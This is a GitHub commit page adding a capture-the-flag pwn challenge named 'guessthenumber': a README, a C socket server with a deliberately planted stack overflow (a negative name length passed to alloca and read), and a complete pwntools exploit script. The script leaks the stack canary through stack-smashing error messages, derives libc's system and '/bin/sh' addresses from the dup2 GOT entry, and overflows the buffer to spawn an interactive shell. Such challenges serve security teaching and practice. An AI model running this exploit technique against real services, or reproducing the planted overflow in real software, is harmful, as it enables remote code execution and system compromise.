Skip to content

Commit

Permalink
guessthenumber
Browse files Browse the repository at this point in the history
  • Loading branch information
giosch authored and pogliamarci committed Jul 11, 2017
1 parent b446799 commit c0719dd
Show file tree
Hide file tree
Showing 6 changed files with 354 additions and 0 deletions.
13 changes: 13 additions & 0 deletions pwn-guessthenumber/README.md
@@ -0,0 +1,13 @@
## Guessthenumber

Could you help us to guess the number?

## How to run

You can find a `makefile` in the `src` folder

LD_PRELOAD="$(pwd)/libc-2.24.so" ./guessthenumber

## How to solve

Full exploit script in `solution/exploit.py`. Writeup on the way.
Binary file added pwn-guessthenumber/guessthenumber
Binary file not shown.
Binary file added pwn-guessthenumber/libc.so.6
Binary file not shown.
120 changes: 120 additions & 0 deletions pwn-guessthenumber/solution/exploit.py
@@ -0,0 +1,120 @@
from pwn import *
import sys
#context.log_level = "DEBUG"

host = sys.argv[1]
port = int(sys.argv[2])

def addStack(rl):
payload = "ciaociao"
rl.recvuntil("Exit\n")
rl.sendline("1")
rl.recvuntil("name?\n")
rl.sendline("-5000")
rl.recvuntil("name:\n")
rl.send(payload)
rl.recvuntil("etry\n")
rl.sendline("c")

def leak(addr):
payload = cyclic(436) + p32(addr)
rl = remote(host,port)

addStack(rl)

rl.recvuntil("Exit\n")
rl.sendline("1")
rl.recvuntil("name?\n")
rl.sendline("-100")
rl.recvuntil("name:\n")
rl.send(payload)
rl.recvuntil("etry\n")
rl.sendline("c")
leaked = ""
try:
rl.recvuntil("*** stack smashing detected ***: ")
leaked = rl.recvuntil(" terminated")[:-11]
except Exception as e:
print str(e)
finally:
rl.close()
leaked += "\x00"
return leaked

def leakpuro(addr):
payload = cyclic(436) + p32(addr)
rl = remote(host,port)
rl.recvuntil("Exit\n")
rl.sendline("1")
rl.recvuntil("name?\n")
rl.sendline("-100")
rl.recvuntil("name:\n")
rl.send(payload)
rl.recvuntil("etry\n")
rl.sendline("c")
leaked = ""
try:
rl.recvuntil("*** stack smashing detected ***: ")
leaked = rl.recvuntil(" terminated")[:-11]
except Exception as e:
print str(e)
finally:
rl.close()
leaked += "\x00"
return leaked

def overflow(size,payload):
rl = remote(host,port)
rl.recvuntil("Exit\n")
rl.sendline("1")
rl.recvuntil("name?\n")
rl.sendline(size)
rl.recvuntil("name:\n")
rl.send(payload)
rl.recvuntil("etry\n")
rl.sendline("c")
return rl

elf = ELF("guessthenumber")
to_leak = elf.symbols["name"]
stack = u32(leakpuro(to_leak)[0:4])
log.info("stack at "+hex(stack))
maybe_canary = stack - 0x1344 #offset of the old canary remained in the stack with the alloca(5000)
log.info("canary address = "+hex(maybe_canary))
canary = leak(maybe_canary)
log.info("canary tutto assieme "+canary)
a = ""
for i in range(0,4):
a += leak(maybe_canary+i)[0]

assert(len(a)==4)

canary = u32(a)
log.info("canary one byte at time = "+hex(canary))

#need to find system
dup2_got = elf.got["dup2"]
dup2_runtime = u32(leakpuro(dup2_got)[0:4])
libc = ELF("./libc.so.6")
offset_system = libc.symbols["dup2"]-libc.symbols["system"]
system_runtime = dup2_runtime - offset_system
offset_bin = libc.symbols["dup2"] - next(libc.search("/bin/sh"))
bin_runtime = dup2_runtime - offset_bin
log.info("system at "+hex(system_runtime))
#buffer_ptr@(-100) - canary_addr = 156
#ret_addr - canary_addr = 16
#sending a -100 size
#payload = 156*"A"
#payload += canary
#payload += 12*"B"
#payload += ropchain!

payload = 156*"A"
payload += p32(canary)
payload += 12*"B"
payload += p32(system_runtime)
payload += 4*"C"
payload += p32(bin_runtime)
size = "-100"
overflow(size,payload).interactive()

219 changes: 219 additions & 0 deletions pwn-guessthenumber/src/guessthenumber.c
@@ -0,0 +1,219 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h> //strlen
#include <sys/socket.h>
#include <arpa/inet.h> //inet_addr
#include <unistd.h> //write
#include <malloc.h>
#include <alloca.h>
#include <time.h>
#include <stdbool.h>

int readn(char*, unsigned int);

unsigned int length = 0;
char* name = NULL;
int* points = 0;
int registered = 0;
int socket_desc , client_sock , c ;
struct sockaddr_in server , client;

int readn(char* buf, unsigned int n){
int nread = 0;
char c[10];
nread = read(STDIN_FILENO,buf,(n));
if (nread == -1){
puts("Error reading \n");
exit(0);
}
buf[nread] = 0;
return nread;
}

void game(void){
srand(time(NULL));

int r = rand() % 10 + 1;
bool correct = false;
int guess;
int counter = 0;

while(!correct)
{
printf("Guess my number! ");
scanf("%d", &guess);
getchar();
counter++;
if (guess < r) {
printf("Your guess is too low. Guess again.\n");
}
else if (guess > r) {
printf("Your guess is too high. Guess again.\n");
}
else {
printf("You guessed correctly in %d tries! Congratulations!\n", counter);
correct = true;
}


}

return;
}

void doRegister(){
puts("Welcome, New Player!");
puts("Introduce yourself:");
registered = 0;
while(!registered){
puts("How long is your name?");
int len = 0;
scanf("%d",&len);
if (len>100){
puts("Way too long!");
exit(0);
}

unsigned int local = abs(len);
name = alloca(local+1);
length = len;
puts("Enter your name:");
int nread;
nread = readn(name,length+1);
if (nread <= 0){
puts("Invalid name");
exit(0);
}
puts("Arey you sure about the name?");
puts("[y]es\n[c]ancel\n[r]etry");
char minibuf[3];
minibuf[0]=0;
readn(minibuf,3);
char *swap;
switch (minibuf[0]){
case 'y':
swap = malloc(nread);
if (swap == NULL){
puts("Malloc error");
exit(0);
}
strncpy(swap, name, nread);
name = swap;
registered = 1;
break;
case 'c':
return;
case 'r':
break;
default :
break;
}

}
return;
}


void doPlay(){
if (registered == 0)
{
puts("You need to register first!!");
return;
}
puts("Welcome ");
printf("%s\n",name);
game();
}

void menu(){
while(1){


puts("[1] Register");
puts("[2] Play");
puts("[3] Exit");

char minibuf[3];
minibuf[0]=0;
readn(minibuf,3);
switch(minibuf[0]){
case '1':
doRegister();
break;
case '2':
doPlay();
break;
case '3':
exit(0);
break;
default:
break;
}
}
}

int do_child(){
puts("Welcome to Guess the Number! \n");
menu();

}


int main(int argc , char *argv[])
{
setbuf(stdout,NULL);
setbuf(stderr,NULL);

socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1){
printf("Could not create socket");
}
int enable = 1;
if (setsockopt(socket_desc, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(int)) < 0){
perror("setsockopt(SO_REUSEADDR) failed");
return 1;
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 8888 );

if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0){
perror("bind failed. Error");
return 1;
}

listen(socket_desc , 3);

c = sizeof(struct sockaddr_in);
while (1){
printf("waiting!->\n");
client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c);
if (client_sock < 0)
{
perror("accept failed");
return 1;
}
int pid;
if((pid = fork()) == -1){
perror("fork");
close(client_sock);
exit(1);
}else if(pid > 0){
close(client_sock);
continue;
}else if(pid == 0){
//TODO :
//DROP PRIVILEGE
dup2(client_sock,fileno(stdin));
dup2(client_sock,fileno(stdout));
dup2(client_sock,fileno(stderr));
close(client_sock);
do_child();
break;
}

break;
}
close(socket_desc);
return 0;
}
2 changes: 2 additions & 0 deletions pwn-guessthenumber/src/makefile
@@ -0,0 +1,2 @@
all :
gcc -m32 -no-pie -o guessthenumber guessthenumber.c

0 comments on commit c0719dd

Please sign in to comment.